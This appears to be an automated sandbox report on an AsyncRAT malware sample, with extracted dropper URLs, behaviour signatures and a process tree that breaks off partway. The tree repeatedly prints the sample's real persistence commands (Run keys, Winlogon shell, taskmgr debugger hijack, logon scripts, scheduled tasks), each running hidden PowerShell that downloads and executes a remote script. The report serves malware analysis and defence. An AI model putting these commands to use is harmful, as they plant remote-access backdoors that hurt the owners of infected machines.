Overview

overview

10

Static

static

10

[email protected]

windows10-2004-x64

10

[email protected]

windows10-ltsc_2021-x64

10

[email protected]

windows11-21h2-x64

10

[email protected]

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    899s
  • max time network
    898s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260911-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    02/11/2026, 11:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    [email protected]
  • Size 161KB
  • Sample261102-naefwsbt7l
  • SHA256 fbac8b5807dcc7b61e4ccc91b9085acc90cacf5add1fc74404881f2bfa7d11c9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarehackervndefense_evasiondiscoveryexecutionasyncratpersistenceratspyware

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://gaylife.gr.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://v99win.tv/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://jacksclub.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://afribus.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://abgstore.com.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://pg999asia.net/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://luckywin.ski/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://fun79i.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://88aa.games/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://luck888.beer/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://anxietyinchildren.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://88aa.link/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://mmoo.spot/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://8kbetmb.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://x88.cheap/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://fomo444slot.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://8kbet.property/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://8kbeta5.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://toplikes.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://juad888.us/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://luck8be.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://congaden.cc/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://luckywin6668.net/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://8kbet1.cc/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://mu88a2.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://kent-casino-ury.buzz/load.ps1

Extracted

Family

  • asyncrat

Version

  • 0.5.8

Botnet

  • HackerVN

Mutex

  • od4cXOu0k0Hf

Attributes
aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Async RAT payload 1 IoCs
    rat
  • Modifies WinLogon for persistence 2 TTPs 29 IoCs
    persistence
  • Badlisted process makes network request 51 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 27 IoCs

    Run Powershell and hide display window.

    execution
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 58 IoCs
    persistence
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 29 IoCs
    persistence
  • Adds Run key to start application 2 TTPs 58 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Meterpreter User-Agent 64 IoCs

    Uses user-agent string related to Meterpreter framework.

  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 59 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 26 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of SetWindowsHookEx 52 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    1⤵
    • Checks computer location settings
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4620
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:1296
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:456
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        • System Location Discovery: System Language Discovery
        PID:4256
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2196
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        • System Location Discovery: System Language Discovery
        PID:4860
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3772
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:4268
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2584
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4732
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:220
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@VietNamReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"' & exit
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3572
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "tele@VietNamReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1316
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBE2B.tmp.bat""
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:404
      • C:\Windows\SysWOW64\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1968
      • C:\Users\Admin\AppData\Roaming\[email protected]
        "C:\Users\Admin\AppData\Roaming\[email protected]"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1844
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:2892
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4880
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            5⤵
            • Adds Run key to start application
            PID:4292
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4148
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            5⤵
            • Event Triggered Execution: Image File Execution Options Injection
            PID:2436
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3264
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            5⤵
            • Modifies WinLogon for persistence
            PID:1076
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1968
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            5⤵
            • Registers new Windows logon scripts automatically executed at logon.
            • System Location Discovery: System Language Discovery
            PID:3884
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2440
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:5092
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4612
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            5⤵
              PID:4964
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4344
    • C:\Windows\explorer.exe
      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')"
      1⤵
        PID:1528
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:3260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2544
      • C:\Users\Admin\AppData\Roaming\[email protected]
        "C:\Users\Admin\AppData\Roaming\[email protected]"
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3336
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            3⤵
            • Adds Run key to start application
            PID:1616
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4980
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            3⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:2892
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            3⤵
            • Event Triggered Execution: Image File Execution Options Injection
            PID:1528
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:648
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            3⤵
            • Modifies WinLogon for persistence
            PID:4964
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4732
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
            3⤵
            • Registers new Windows logon scripts automatically executed at logon.
            PID:1428
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3360
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
            3⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:4084
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2828
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:716
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2988
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
            3⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:2880
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2792
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
            3⤵
            • Adds Run key to start application
            PID:780
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:956
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
            3⤵
            • Event Triggered Execution: Image File Execution Options Injection
            • System Location Discovery: System Language Discovery
            PID:1528
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
          2⤵
            PID:1436
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
              3⤵
              • Modifies WinLogon for persistence
              PID:3988
          • C:\Windows\SysWOW64\cmd.exe
